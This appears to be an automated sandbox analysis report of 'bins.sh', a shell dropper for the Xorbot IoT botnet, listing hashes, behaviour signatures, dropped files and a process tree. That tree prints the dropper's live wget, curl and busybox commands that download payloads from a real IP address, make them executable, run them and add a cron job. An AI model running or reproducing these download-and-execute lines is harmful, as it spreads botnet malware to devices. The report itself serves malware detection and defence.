Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/12/2024, 20:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bc7b6cc669c02f1b68444287a7bfa167

  • SHA1

    63f8dc11fc9104552991cb85032f5a929b7321ba

  • SHA256

    e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5

  • SHA512

    46744e2e1d1cf25913777f3bbc3e85e4a303db758e4dfd7e9d9e679aee0d08ba2b205fcdb839d37b6933aaa5d7d7b81aa52e257aaeb1400b2b105218d1ad75b2

  • SSDEEP

    192:e+b+H+f+O+++61RBogpdtREsk92oA4txZ1dVZBa6rvcoU6/n+1RBogjtRE/7+b+o:ecE+3T3dtREso11rvcoU6/n+tREDcE+N

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1693) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            ./BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:753
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:766
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              ./k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
              2⤵
                PID:791
              • /usr/bin/wget
                wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:792
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                ./GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                • Executes dropped EXE
                PID:808
              • /bin/rm
                rm GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
                2⤵
                  PID:810
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /bin/chmod
                  chmod 777 xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:822
                • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  ./xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                  • Executes dropped EXE
                  PID:823
                • /bin/rm
                  rm xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    ./EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                    • Executes dropped EXE
                    PID:852
                  • /bin/rm
                    rm EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
                    2⤵
                      PID:854
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:855
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      ./2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:862
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:864
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:865
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:866
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:867
                          • /bin/rm
                            rm 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
                            2⤵
                              PID:869
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
                              2⤵
                                PID:872

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /var/spool/cron/crontabs/tmp.z1Bjxu

                              Filesize

                              210B

                              MD5

                              e697a94f717d823367b17f2809e993e6

                              SHA1

                              ff54b509fa8e36c0b9d1dedf9626bd60d468ae01

                              SHA256

                              0033955a7a7deee4bf0757df268cc35b7f1894393072eafb179c1fa9c65ec3a8

                              SHA512

                              0109db8ca5650702a2ef9674bc8cd2977453d0f40c5896ed8952cff5d723eb162138602f13529d0a10feeb863e93168eeef7b89b52c484f47211550a0e76ba46